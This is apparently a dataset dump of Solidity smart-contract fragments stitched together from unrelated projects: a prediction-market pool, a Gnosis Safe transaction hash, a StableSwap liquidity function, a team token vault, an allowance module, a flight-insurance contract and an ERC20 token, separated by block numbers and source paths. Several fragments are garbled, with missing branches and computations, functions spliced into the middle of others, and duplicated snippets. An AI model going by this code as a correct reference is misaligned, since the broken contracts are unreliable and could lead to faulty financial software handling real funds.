sendAmounts[i] = poolBalances[i].mul(sharesToBurn) / poolShareSupply; } uint collateralRemovedFromFeePool = collateralToken.balanceOf(address(this)); if(withdrawFeesFlag){ _withdrawFees(beneficiary,0); } _burn(beneficiary, sharesToBurn); collateralRemovedFromFeePool = collateralRemovedFromFeePool.sub( collateralToken.balanceOf(address(this)) ); conditionalTokens.safeBatchTransferFrom(address(this), beneficiary, positionIds, sendAmounts, ""); emit FPMMFundingRemoved(beneficiary, sendAmounts, collateralRemovedFromFeePool, sharesToBurn); } function onERC1155Received( address operator, address, uint256, uint256, bytes calldata ) external returns (bytes4) { if (operator == address(this)) { return this.onERC1155Received.selector; } return 0x0; } function onERC1155BatchReceived( address operator, address from, uint256[] calldata, uint256[] calldata, bytes calldata ) external returns (bytes4) { if (operator == address(this) && from == address(0)) { return this.onERC1155BatchReceived.selector; } return 0x0; } function calcBuyAmount(uint investmentAmount, uint outcomeIndex) public view returns (uint) { require(outcomeIndex < positionIds.length, "invalid outcome index"); uint[] memory poolBalances = getPoolBalances(); uint investmentAmountMinusFees = investmentAmount.sub(investmentAmount.mul(totalFee) / ONE); uint buyTokenPoolBalance = poolBalances[outcomeIndex]; uint endingOutcomeBalance = buyTokenPoolBalance.mul(ONE); for (uint i = 0; i < poolBalances.length; i++) { if (i != outcomeIndex) { uint poolBalance = poolBalances[i]; endingOutcomeBalance = endingOutcomeBalance.mul(poolBalance).ceildiv( poolBalance.add(investmentAmountMinusFees) ); } } require(endingOutcomeBalance > 0, "must have non-zero balances"); return buyTokenPoolBalance.add(investmentAmountMinusFees).sub(endingOutcomeBalance.ceildiv(ONE)); } function calcBuyAmountProtocolFeesIncluded(uint investmentAmount, uint outcomeIndex, uint256 protocolFee) public view returns (uint) { uint256 pFee = investmentAmount * protocolFee / 1e18; return calcBuyAmount(investmentAmount - pFee, outcomeIndex); } function calcSellAmount(uint returnAmount, uint outcomeIndex) internal view returns (uint outcomeTokenSellAmount) { require(outcomeIndex < positionIds.length, "invalid outcome index"); uint[] memory poolBalances = getPoolBalances(); //uint returnAmountPlusFees = returnAmount.mul(ONE) / ONE.sub(fee); uint returnAmountPlusFees = returnAmount.mul(ONE.add(totalFee)) / ONE; uint sellTokenPoolBalance = poolBalances[outcomeIndex]; uint endingOutcomeBalance = sellTokenPoolBalance.mul(ONE); for (uint i = 0; i < poolBalances.length; i++) { if (i != outcomeIndex) { uint poolBalance = poolBalances[i]; endingOutcomeBalance = endingOutcomeBalance.mul(poolBalance).ceildiv( poolBalance.sub(returnAmountPlusFees) ); } } require(endingOutcomeBalance > 0, "must have non-zero balances"); return returnAmountPlusFees.add(endingOutcomeBalance.ceildiv(ONE)).sub(sellTokenPoolBalance); } function calcSellReturnInv(uint amount, uint inputIndex) public view returns (uint256 ret){ uint256[] memory poolBalance0 = getPoolBalances(); uint256 c = poolBalance0[0] * poolBalance0[1]; uint256 m = 0; if (inputIndex == 0) { m = amount + poolBalance0[0] - poolBalance0[1]; } else { m = amount + poolBalance0[1] - poolBalance0[0]; } uint256 f = sqrt((m * m) + 4 * c); if (inputIndex == 0) { ret = ((2 * poolBalance0[1]) - (f - m)) / 2; } else { ret = ((2 * poolBalance0[0]) - (f - m)) / 2; } ret = ret.mul(ONE.sub(totalFee)) / ONE; } function calcSellReturnInvMinusMarketFees(uint amount, uint inputIndex, uint256 protocolFee) public view returns (uint256 ret){ ret = calcSellReturnInv(amount,inputIndex); uint256 pFee = ret * protocolFee / 1e18; ret -= pFee; } function buyTo(address beneficiary, uint investmentAmount, uint outcomeIndex, uint minOutcomeTokensToBuy) public returns(uint256) { _beforeBuyTo(beneficiary, investmentAmount); uint outcomeTokensToBuy = calcBuyAmount(investmentAmount, outcomeIndex); require(outcomeTokensToBuy >= minOutcomeTokensToBuy, "minimum buy amount not reached"); collateralToken.safeTransferFrom(msg.sender, address(this), investmentAmount); uint feeLPAmount = investmentAmount.mul(lpFee) / ONE; uint feeProposer = investmentAmount.mul(proposerFee) / ONE; totalProposerFee += feeProposer; feePoolWeight = feePoolWeight.add(feeLPAmount); uint investmentAmountMinusFees = investmentAmount.sub(feeLPAmount).sub(feeProposer); require(collateralToken.approve(address(conditionalTokens), investmentAmountMinusFees), "approval for splits failed"); splitPositionThroughAllConditions(investmentAmountMinusFees); conditionalTokens.safeTransferFrom(address(this), beneficiary, positionIds[outcomeIndex], outcomeTokensToBuy, ""); return outcomeTokensToBuy; //emit FPMMBuy(beneficiary, investmentAmount, feeLPAmount + feeProposer, outcomeIndex, outcomeTokensToBuy); } function sellByReturnAmountTo(address beneficiary, uint returnAmount, uint outcomeIndex, uint maxOutcomeTokensToSell) internal { uint outcomeTokensToSell = calcSellAmount(returnAmount, outcomeIndex); require(outcomeTokensToSell <= maxOutcomeTokensToSell, "maximum sell amount exceeded"); conditionalTokens.safeTransferFrom(msg.sender, address(this), positionIds[outcomeIndex], outcomeTokensToSell, ""); uint feeProposer = returnAmount.mul(proposerFee) / ONE; totalProposerFee += feeProposer; //uint feeAmount = returnAmount.mul(fee) / (ONE.sub(fee)); uint feeLPAmount = returnAmount.mul(lpFee) / ONE; feePoolWeight = feePoolWeight.add(feeLPAmount); uint returnAmountPlusFees = returnAmount.add(feeLPAmount); mergePositionsThroughAllConditions(returnAmountPlusFees); collateralToken.safeTransfer(beneficiary, returnAmount); //emit FPMMSell(msg.sender, returnAmount, feeLPAmount + feeProposer, outcomeIndex, outcomeTokensToSell); } function sellTo(address beneficiary, uint256 amount, uint256 index) public returns(uint256){ uint256 expectedRet = calcSellReturnInv(amount, index); _beforeSellTo(beneficiary, expectedRet); sellByReturnAmountTo(beneficiary,expectedRet, index, amount * 105 / 100); return expectedRet; } uint256 totalLiq; mapping(address => uint256) balances; function totalSupply() public view returns(uint256){ return totalLiq; } function balanceOf(address account) public view returns(uint256){ return balances[account]; } function _mint(address account, uint256 amount) internal{ if(account != address(0)){ balances[account] += amount; totalLiq += amount; } } function _burn(address account, uint256 amount) internal{ if(account != address(0)){ require(amount <= balances[account], "insufficient balance"); balances[account] -= amount; totalLiq -= amount; } } function _beforeBuyTo(address account, uint256 amount) internal; function _beforeSellTo(address account, uint256 amount) internal; function _beforeAddFundingTo(address beneficiary, uint addedFunds) internal; function _beforeRemoveFundingTo(address beneficiary, uint sharesToBurn) internal; function sqrt(uint x) private pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } z = z + 1; } }
uint feeAmount = returnAmount.mul(fee) / (ONE.sub(fee));emit FPMMSell(msg.sender, returnAmount, feeLPAmount + feeProposer, outcomeIndex, outcomeTokensToSell);
function sellByReturnAmountTo(address beneficiary, uint returnAmount, uint outcomeIndex, uint maxOutcomeTokensToSell) internal { uint outcomeTokensToSell = calcSellAmount(returnAmount, outcomeIndex); require(outcomeTokensToSell <= maxOutcomeTokensToSell, "maximum sell amount exceeded"); conditionalTokens.safeTransferFrom(msg.sender, address(this), positionIds[outcomeIndex], outcomeTokensToSell, ""); uint feeProposer = returnAmount.mul(proposerFee) / ONE; totalProposerFee += feeProposer; uint feeLPAmount = returnAmount.mul(lpFee) / ONE; feePoolWeight = feePoolWeight.add(feeLPAmount); uint returnAmountPlusFees = returnAmount.add(feeLPAmount); mergePositionsThroughAllConditions(returnAmountPlusFees); collateralToken.safeTransfer(beneficiary, returnAmount); }
12,861,143
./partial_match/82/0x1d5935d36D0E1d812c4ea6Af40c3D6eb361eeb07/sources/GnosisSafe.sol
Returns hash to be signed by owners. to Destination address. value Ether value. data Data payload. operation Operation type. safeTxGas Fas that should be used for the safe transaction. baseGas Gas costs for data used to trigger the safe transaction. gasPrice Maximum gas price that should be used for this transaction. gasToken Token address (or 0 if ETH) that is used for the payment. refundReceiver Address of receiver of gas payment (or 0 if tx.origin). _nonce Transaction nonce. return Transaction hash.
function getTransactionHash( address to, uint256 value, bytes memory data, Enum.Operation operation, uint256 safeTxGas, uint256 baseGas, uint256 gasPrice, address gasToken, address refundReceiver, uint256 _nonce ) public view returns (bytes32) { return keccak256( encodeTransactionData( to, value, data, operation, safeTxGas, baseGas, gasPrice, gasToken, refundReceiver, _nonce ) ); }
16,902,162
./full_match/8453/0x3b5B74E56755a43682CAdE9a0FaD609fFC1601eA/sources/contracts/StableSwapTwoPool.sol
Amounts is amounts of c-tokens Only account for fees if we are not the first to deposit Take coins from the sender
function add_liquidity(uint256[N_COINS] memory amounts, uint256 min_mint_amount) external payable nonReentrant { require(!is_killed, "Killed"); if (!support_ETH) { } uint256[N_COINS] memory fees; uint256 _fee = (fee * N_COINS) / (4 * (N_COINS - 1)); uint256 _admin_fee = admin_fee; uint256 amp = get_A(); uint256 token_supply = token.totalSupply(); uint256[N_COINS] memory old_balances = balances; if (token_supply > 0) { D0 = get_D_mem(old_balances, amp); } uint256[N_COINS] memory new_balances = [old_balances[0], old_balances[1]]; for (uint256 i = 0; i < N_COINS; i++) { if (token_supply == 0) { require(amounts[i] > 0, "Initial deposit requires all coins"); } } require(D1 > D0, "D1 must be greater than D0"); if (token_supply > 0) { for (uint256 i = 0; i < N_COINS; i++) { uint256 ideal_balance = (D1 * old_balances[i]) / D0; uint256 difference; if (ideal_balance > new_balances[i]) { difference = ideal_balance - new_balances[i]; difference = new_balances[i] - ideal_balance; } fees[i] = (_fee * difference) / FEE_DENOMINATOR; balances[i] = new_balances[i] - ((fees[i] * _admin_fee) / FEE_DENOMINATOR); new_balances[i] -= fees[i]; } D2 = get_D_mem(new_balances, amp); balances = new_balances; } if (token_supply == 0) { mint_amount = (token_supply * (D2 - D0)) / D0; } require(mint_amount >= min_mint_amount, "Slippage screwed you"); for (uint256 i = 0; i < N_COINS; i++) { uint256 amount = amounts[i]; address coin = coins[i]; transfer_in(coin, amount); } emit AddLiquidity(msg.sender, amounts, fees, D1, token_supply + mint_amount); }
11,557,495
//SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title TeamsVault */ contract TeamsVault is Ownable { using SafeMath for uint256; event AllocationRegistered( address indexed beneficiary, uint256 amount, uint256 percentage ); event TokensWithdrawal(address userAddress, uint256 amount); event RewardDeposit(uint256 amount); struct Allocation { uint256 amount; uint256 released; uint256 percentage; bool revoked; } // beneficiary of tokens after they are released mapping(address => Allocation) private _beneficiaryAllocations; // beneficiary that has been registered mapping(address => bool) private _isRegistered; // all beneficiary address1 address[] private _allBeneficiary; // total deposit reward uint256 private _totalDepositReward = 0; // token in vault IERC20 private _token; constructor( IERC20 token_, address[] memory beneficiaries_, uint256[] memory amounts_, uint256[] memory percentage_ // divided by 10000 ) public { require( beneficiaries_.length == amounts_.length ,"Length of input arrays do not match." ); require( amounts_.length == percentage_.length ,"Length of input arrays do not match." ); // init beneficiaries for (uint256 i = 0; i < beneficiaries_.length; i++) { require( beneficiaries_[i] != address(0), "Beneficiary cannot be 0 address." ); require( amounts_[i] > 0, "Cannot allocate zero amount." ); // store all beneficiaries address _allBeneficiary.push(beneficiaries_[i]); // Add new allocation to beneficiaryAllocations _beneficiaryAllocations[beneficiaries_[i]] = Allocation( amounts_[i], 0, percentage_[i], false ); _isRegistered[beneficiaries_[i]] = true; emit AllocationRegistered(beneficiaries_[i], amounts_[i], percentage_[i]); } _token = token_; } /** * add adddress with allocation */ function addAddressWithAllocation(address beneficiaryAddress, uint256 amount, uint256 percentage) public onlyOwner { require( beneficiaryAddress != address(0), "Beneficiary cannot be 0 address." ); _isRegistered[beneficiaryAddress] = true; _beneficiaryAllocations[beneficiaryAddress] = Allocation( amount, 0, percentage, false ); } /** * revoke beneficiary */ function revoke(address beneficiaryAddress) public onlyOwner { require( _isRegistered[beneficiaryAddress] = true, "revoke unregistered address" ); _beneficiaryAllocations[beneficiaryAddress].revoked = true; } /** * revoke beneficiary */ function deposit(uint256 rewardAmount) public{ require( rewardAmount > 0, "deposit zero wasabi" ); _totalDepositReward = _totalDepositReward + rewardAmount; _token.transferFrom(msg.sender, address(this), rewardAmount); emit RewardDeposit(rewardAmount); } /** * @return the registerd state. */ function getRegisteredStatus(address userAddress) public view returns(bool) { return _isRegistered[userAddress]; } /** * return user registerd vesting amount. */ function getUserRegisterdAmount(address userAddress) public view returns (uint256 amount) { return _beneficiaryAllocations[userAddress].amount; } /** * return user claimed amount. */ function getUserClaimedAmount(address userAddress) public view returns (uint256 amount) { return _beneficiaryAllocations[userAddress].released; } /** * return user amountAvailable (vested- released) */ function getUserAvailableAmount(address userAddress) public view returns (uint256 amountAvailable) { // for revoked user, return 0; if(_beneficiaryAllocations[userAddress].revoked == true){ return 0; } uint256 avalible = _getAllocatedAmount(userAddress).sub(_beneficiaryAllocations[userAddress].released); return avalible; } /** * return amountAllocated */ function _getAllocatedAmount(address userAddress) internal view returns (uint256 amountAllocated) { uint256 allocated = 0; allocated = _totalDepositReward.mul(_beneficiaryAllocations[userAddress].percentage).div(10000); if(allocated >= _beneficiaryAllocations[userAddress].amount ){ allocated = _beneficiaryAllocations[userAddress].amount; } return allocated; } /** withdraw function */ function withdraw(uint256 withdrawAmount) public { address userAddress = msg.sender; require( _isRegistered[userAddress] == true, "You have to be a registered address in order to release tokens." ); require(getUserAvailableAmount(userAddress) >= withdrawAmount,"insufficient avalible balance"); _beneficiaryAllocations[userAddress].released = _beneficiaryAllocations[userAddress].released.add(withdrawAmount); _token.transfer(userAddress, withdrawAmount); emit TokensWithdrawal(userAddress, withdrawAmount); } // admin emergency to transfer token to owner function emergencyWithdraw(uint256 amount) public onlyOwner { _token.transfer(msg.sender, amount); } }
return amountAllocated/
function _getAllocatedAmount(address userAddress) internal view returns (uint256 amountAllocated) { uint256 allocated = 0; allocated = _totalDepositReward.mul(_beneficiaryAllocations[userAddress].percentage).div(10000); if(allocated >= _beneficiaryAllocations[userAddress].amount ){ allocated = _beneficiaryAllocations[userAddress].amount; } return allocated; }
5,417,237
./full_match/4/0xCFbFaC74C26F8647cBDb8c5caf80BB5b32E43134/sources/contracts/AlowanceModule.sol
We use the same format as used for the Safe contract, except that we only support exactly 1 signature and no contract signatures. If there is no signature data msg.sender should be used Check that the provided signature data is as long as 1 encoded ecsda signature If v is 0 then it is a contract signature
function recoverSignature(bytes memory signature, bytes memory transferHashData) private view returns (address owner) { if (signature.length == 0) return msg.sender; require(signature.length == 65, "signatures.length == 65"); uint8 v; bytes32 r; bytes32 s; (v, r, s) = signatureSplit(signature, 0); function generateTransferHashData( address safe, address token, address to, uint96 amount, address paymentToken, uint96 payment, uint16 nonce } function generateTransferHash( address safe, address token, address to, uint96 amount, address paymentToken, uint96 payment, uint16 nonce } } if (v == 0) { revert("Contract signatures are not supported by this module"); owner = msg.sender; owner = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", keccak256(transferHashData))), v - 4, r, s); owner = ecrecover(keccak256(transferHashData), v, r, s); } } else if (v == 1) { } else if (v > 30) { } else { require(owner != address(0), "owner != address(0)"); }
672,398
./partial_match/1/0x842738637f84b4Dac335b832d9890cf8e11DA214/sources/StakingDFL.sol
Accrue bonus and return the accrued bonus of account
function accruedBonusCurrent() external nonReentrant returns(uint) { accrueBonus(); return accruedBonusStoredInternal(msg.sender); }
2,804,331
pragma solidity ^0.4.24; import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"; contract FlightSuretyData { using SafeMath for uint256; /********************************************************************************************/ /* DATA VARIABLES */ /********************************************************************************************/ struct Airline{ bytes name; bool isRegistered; bool canVote; } address private contractOwner; // Account used to deploy contract bool private operational = true; // Blocks all state changes throughout the contract if false mapping(address => Airline) private airlines; //Airlines are contract accounts, so we represent them as addresses. //Another approach can be to make a struct Airline. But let's keep it simple. uint256 private airlinesCount; //The number of registered airlines. mapping(address => bool) private authorizedCallers; //Used to keep track of which app contracts can access this contract uint M =2; //Voting threshold, starts when there are at least 4 registered airlines address[] private multiCallsOp = new address[](0); //List of voters on changing the operational mode /********************************************************************************************/ /* EVENT DEFINITIONS */ /********************************************************************************************/ /** * @dev Constructor * The deploying account becomes contractOwner */ constructor ( address firstAirline ) public { contractOwner = msg.sender; airlines[firstAirline].isRegistered = true; //Project Specification: First airline is registered when contract is deployed. airlines[firstAirline].canVote = false; //First airline must provide funding before it can vote for others to join airlinesCount = 1; } /********************************************************************************************/ /* FUNCTION MODIFIERS */ /********************************************************************************************/ // Modifiers help avoid duplication of code. They are typically used to validate something // before a function is allowed to be executed. /** * @dev Modifier that requires the "operational" boolean variable to be "true" * This is used on all state changing functions to pause the contract in * the event there is an issue that needs to be fixed */ modifier requireIsOperational() { require(operational, "Contract is currently not operational"); _; // All modifiers require an "_" which indicates where the function body will be added } /** * @dev Modifier that requires the "ContractOwner" account to be the function caller */ modifier requireContractOwner() { require(msg.sender == contractOwner, "Caller is not contract owner"); _; } /** * @dev Modifier that requires the calling contract to be in the "authorizedCallers" list * This is used on all functions(except those who are called by the contract owner) * to ensure that only the authorized app contracts gain access to the data on this contract */ modifier requireAuthorizedCaller() { require(authorizedCallers[msg.sender], "Caller is not authorized"); _; // All modifiers require an "_" which indicates where the function body will be added } /********************************************************************************************/ /* UTILITY FUNCTIONS */ /********************************************************************************************/ /** * @dev Sets which app contracts can access this data contract * * This method is used to authorize a FlightSuretyApp contract to interact with FlightSuretyData. * You can use it to change which FlightSuretyApp is active. But it is not required */ function authorizeCaller ( address appContract ) external requireContractOwner requireIsOperational { authorizedCallers[appContract] = true; } /** * @dev Get operating status of contract * * @return A bool that is the current operating status */ function isOperational() public view //requireAuthorizedCaller returns(bool) { return operational; } /** * @dev Checks if an airline can vote * * Airlines are assumed to be smart contracts, so they are represented here as addresses to contract accounts. */ function canVote ( address airline ) external view //pure requireIsOperational //requireAuthorizedCaller returns(bool) { return (airlines[airline].canVote); } /** * @dev Does the voting work for multisignature functions * Keeps track of voting responses, * and returns true if the voting threshold is rechead so the caller function can perform the task */ function vote(address voter) private returns(bool success) { require(voter == contractOwner || airlines[voter].canVote, "This address cannot vote."); success = false; bool isDuplicate = false; for(uint c = 0; c < multiCallsOp.length; c++) { if(multiCallsOp[c] == voter) { isDuplicate = true; break; } } require(!isDuplicate, "Caller already voted on changing operational mode"); multiCallsOp.push(voter); uint votes = multiCallsOp.length; if(votes >= M) //Voting threshold reached -> Change operational mode { multiCallsOp = new address[](0); //Reset list of voters success = true; } return(success); } /** * @dev Sets contract operations on/off * * When operational mode is disabled, all write transactions except for this one will fail */ function setOperatingStatus ( bool mode ) external //requireContractOwner { require(mode != operational, "Operational status already set to given mode"); if(airlinesCount < 4) //Voting threshold not reached yet { require(msg.sender == contractOwner, "Message sender is not allowed to change the operational mode of the contract"); operational = mode; } else if(vote(msg.sender)) operational = mode; } /** * @dev Checks if an airline is already registered * Can only be called from FlightSuretyApp contract * * Airlines are assumed to be smart contracts, so they are represented here as addresses to contract accounts. */ function isRegistered ( address airline ) external view //pure requireIsOperational //requireAuthorizedCaller returns(bool) { return (airlines[airline].isRegistered); } /** * @dev Returns the number of registered airlines * */ function RegisteredAirlinesCount ( ) external view //pure //requireIsOperational //OK to reveal the count even if contract is not operational //requireAuthorizedCaller returns(uint) { return (airlinesCount); } /********************************************************************************************/ /* SMART CONTRACT FUNCTIONS */ /********************************************************************************************/ /** * @dev Add an airline to the registration queue * Can only be called from FlightSuretyApp contract * * Airlines are assumed to be smart contracts, so they are represented here as addresses to contract accounts. */ function registerAirline ( address airline ) external //view //pure requireIsOperational //requireAuthorizedCaller { //require(airlines[airline].isRegistered == false, "This airline is already registered"); //App contract already checks it. airlines[airline].isRegistered = true; airlines[airline].canVote = false; airlinesCount++; } /** * @dev Add an airline to the registration queue * Can only be called from FlightSuretyApp contract * * Airlines are assumed to be smart contracts, so they are represented here as addresses to contract accounts. */ function enableVoting ( ) external payable//view //pure requireIsOperational //requireAuthorizedCaller { require(airlines[msg.sender].canVote == false, "This airline already can vote"); require(airlines[msg.sender].isRegistered, "This airline is not registered"); require(msg.value >= 10 ether, "Not enough funds to enable voting for this airline"); airlines[msg.sender].canVote = true; require(airlines[msg.sender].canVote, "Failed to enable voting!"); } /** * @dev Buy insurance for a flight * */ struct insuredFlights{ //bytes32[] flightNames; //a list of insured flights for each customer //uint[] amounts; // holds insurance amounts for each insured flight in wei mapping(bytes32 => uint) insuranceDetails; //stores how much did the customer insure for each flight bytes32[] insuranceKeys; //used to search the above mapping--e.g. to view all insured flights } mapping(address => insuredFlights) allInsuredFlights; mapping(address => uint) payouts; //Amounts owed to insurees but have not yet been credited to their accounts //These will be credited to the insurees when they initiate a withdrawal. //event payout(uint amount, address insuree); //This contract is not directly connected to the frontend, no need for events here. function buy ( address customer, bytes32 flight, uint amount ) external //payable //The fees are kept in the app contract requireIsOperational //requireAuthorizedCaller { // 1. Check the customer did not insure this flight previously: require(allInsuredFlights[customer].insuranceDetails[flight] == 0, 'This flight is already insured by this customer'); // 2. Accept insurance: allInsuredFlights[customer].insuranceDetails[flight] = amount; allInsuredFlights[customer].insuranceKeys.push(flight); } /** * @dev Allow a user to view the list of flights they insured * */ function viewInsuredFlights ( address customer ) external returns(bytes32[] memory) { return( allInsuredFlights[customer].insuranceKeys); } /** * @dev Credits payouts to insurees */ function creditInsurees ( bytes32 flight, address insuree ) external requireIsOperational //Apply Re-entrancy Gaurd Here(not required by project) //requireAuthorizedCaller returns(uint credit) //This is a state-changing function, so it cannot return a value //We will inform caller of the credit amount by emitting an event { //1. Checks credit = allInsuredFlights[insuree].insuranceDetails[flight]; require(credit > 0, 'You either did not insure this flight from before, or you have already claimed the credit for this flight.'); //2. Effects //2.a Update the insurance information in your mapping allInsuredFlights[insuree].insuranceDetails[flight] = 0; //2.b Calculate the amount the customer must be refunded: 1.5 time the insurance amount credit = credit.mul(3); credit = credit.div(2); require(allInsuredFlights[insuree].insuranceDetails[flight] == 0, 'Could not payout your credit'); //3. Interaction payouts[insuree] = payouts[insuree].add(credit); require(payouts[insuree] > 0, 'Unable to add your credit to the payout system'); //web3.js is not connected to this contract, you need to emit from the app contract //just return the tuples and the app contract should do the emit back to the front end //emit payout(credit, insuree); //Next: when the emitted event is caught in the frontend, allow user to withdraw amount -> withdraw button should appear } function getCredit ( address insuree ) external view returns(uint credit) { credit = payouts[insuree]; return credit; } /** * @dev Transfers eligible payout funds to insuree * */ function pay ( address insuree ) public requireIsOperational //requireAuthorizedCaller { uint credit = payouts[insuree]; //1. Checks require(credit > 0, 'User does not have credit to withraw'); //2. Effects payouts[insuree] = 0; //reset credit to prevent multiple withrawal of the same credit require(payouts[insuree] == 0, 'Could not withdraw credit'); //3. Interaction insuree.transfer(credit); //insuree.call.value(credit)(""); } /** * @dev Initial funding for the insurance. Unless there are too many delayed flights * resulting in insurance payouts, the contract should be self-sustaining * */ function fund ( address insuree, bytes32 flight ) external payable requireIsOperational //requireAuthorizedCaller { // 1. Check the customer did not insure this flight previously: require(allInsuredFlights[insuree].insuranceDetails[flight] == 0, 'This flight is already insured by this customer'); // 2. Accept insurance: allInsuredFlights[insuree].insuranceDetails[flight] = msg.value; //allInsuredFlights[insuree].insuranceKeys.push(flight); //to be able to show the customer later all the flights he insured //feature not required and needs to be fixed later. } function getFlightKey ( address airline, string memory flight, uint256 timestamp ) internal pure returns(bytes32) { return keccak256(abi.encodePacked(airline, flight, timestamp)); } /** * @dev Fallback function for funding smart contract. * */ function() external payable requireIsOperational //requireAuthorizedCaller { //fund(); } }
Transfers eligible payout funds to insuree/requireAuthorizedCaller1. Checks2. Effects3. Interactioninsuree.call.value(credit)("");
function pay ( address insuree ) public requireIsOperational { uint credit = payouts[insuree]; require(credit > 0, 'User does not have credit to withraw'); require(payouts[insuree] == 0, 'Could not withdraw credit'); insuree.transfer(credit); }
14,078,388
//Address: 0xe7c79deb6a9b74f691d5f882b7c588bba5db1a20 //Contract name: MintingContract //Balance: 0 Ether //Verification Date: 6/11/2018 //Transacion Count: 2 // CODE STARTS HERE contract SafeMath { uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; function safeAdd(uint256 x, uint256 y) constant internal returns (uint256 z) { require(x <= MAX_UINT256 - y); return x + y; } function safeSub(uint256 x, uint256 y) constant internal returns (uint256 z) { require(x >= y); return x - y; } function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z) { if (y == 0) { return 0; } require(x <= (MAX_UINT256 / y)); return x * y; } } contract Owned { address public owner; address public newOwner; function Owned() { owner = msg.sender; } modifier onlyOwner { assert(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != owner); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = 0x0; } event OwnerUpdate(address _prevOwner, address _newOwner); } contract Lockable is Owned { uint256 public lockedUntilBlock; event ContractLocked(uint256 _untilBlock, string _reason); modifier lockAffected { require(block.number > lockedUntilBlock); _; } function lockFromSelf(uint256 _untilBlock, string _reason) internal { lockedUntilBlock = _untilBlock; ContractLocked(_untilBlock, _reason); } function lockUntil(uint256 _untilBlock, string _reason) onlyOwner public { lockedUntilBlock = _untilBlock; ContractLocked(_untilBlock, _reason); } } contract ERC20TokenInterface { function totalSupply() public constant returns (uint256 _totalSupply); function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract ERC20PrivateInterface { uint256 supply; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowances; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract tokenRecipientInterface { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); } contract OwnedInterface { address public owner; address public newOwner; modifier onlyOwner { _; } } contract ERC20Token is ERC20TokenInterface, SafeMath, Owned, Lockable { // Name of token string public name; // Abbreviation of tokens name string public symbol; // Number of decimals token has uint8 public decimals; // Address of the contract with minting logic address public mintingContract; // Current supply of tokens uint256 supply = 0; // Map of users balances mapping (address => uint256) balances; // Map of users allowances mapping (address => mapping (address => uint256)) allowances; // Event that shows that new tokens were created event Mint(address indexed _to, uint256 _value); // Event that shows that old tokens were destroyed event Burn(address indexed _from, uint _value); /** * @dev Returns number of tokens in circulation * * @return total number od tokens */ function totalSupply() public constant returns (uint256) { return supply; } /** * @dev Returns the balance of specific account * * @param _owner The account that caller wants to querry * @return the balance on this account */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /** * @dev User can transfer tokens with this method, method is disabled if emergencyLock is activated * * @param _to Reciever of tokens * @param _value The amount of tokens that will be sent * @return if successful returns true */ function transfer(address _to, uint256 _value) lockAffected public returns (bool success) { require(_to != 0x0 && _to != address(this)); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev This is used to allow some account to utilise transferFrom and sends tokens on your behalf, this method is disabled if emergencyLock is activated * * @param _spender Who can send tokens on your behalf * @param _value The amount of tokens that are allowed to be sent * @return if successful returns true */ function approve(address _spender, uint256 _value) lockAffected public returns (bool success) { allowances[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev This is used to send tokens and execute code on other smart contract, this method is disabled if emergencyLock is activated * * @param _spender Contract that is receiving tokens * @param _value The amount that msg.sender is sending * @param _extraData Additional params that can be used on reciving smart contract * @return if successful returns true */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) lockAffected public returns (bool success) { tokenRecipientInterface spender = tokenRecipientInterface(_spender); approve(_spender, _value); spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } /** * @dev Sender can transfer tokens on others behalf, this method is disabled if emergencyLock is activated * * @param _from The account that will send tokens * @param _to Account that will recive the tokens * @param _value The amount that msg.sender is sending * @return if successful returns true */ function transferFrom(address _from, address _to, uint256 _value) lockAffected public returns (bool success) { require(_to != 0x0 && _to != address(this)); balances[_from] = safeSub(balanceOf(_from), _value); balances[_to] = safeAdd(balanceOf(_to), _value); allowances[_from][msg.sender] = safeSub(allowances[_from][msg.sender], _value); emit Transfer(_from, _to, _value); return true; } /** * @dev Returns the amount od tokens that can be sent from this addres by spender * * @param _owner Account that has tokens * @param _spender Account that can spend tokens * @return remaining balance to spend */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowances[_owner][_spender]; } /** * @dev Creates new tokens as long as total supply does not reach limit * * @param _to Reciver od newly created tokens * @param _amount Amount of tokens to be created; */ function mint(address _to, uint256 _amount) public { require(msg.sender == mintingContract); supply = safeAdd(supply, _amount); balances[_to] = safeAdd(balances[_to], _amount); emit Mint(_to, _amount); emit Transfer(0x0, _to, _amount); } /** * @dev Destroys the amount of tokens and lowers total supply * * @param _amount Number of tokens user wants to destroy */ function burn(uint _amount) public { balances[msg.sender] = safeSub(balanceOf(msg.sender), _amount); supply = safeSub(supply, _amount); emit Burn(msg.sender, _amount); emit Transfer(msg.sender, 0x0, _amount); } /** * @dev Saves exidentaly sent tokens to this contract, can be used only by owner * * @param _tokenAddress Address of tokens smart contract * @param _to Where to send the tokens * @param _amount The amount of tokens that we are salvaging */ function salvageTokensFromContract(address _tokenAddress, address _to, uint _amount) onlyOwner public { ERC20TokenInterface(_tokenAddress).transfer(_to, _amount); } /** * @dev Disables the contract and wipes all the balances, can be used only by owner 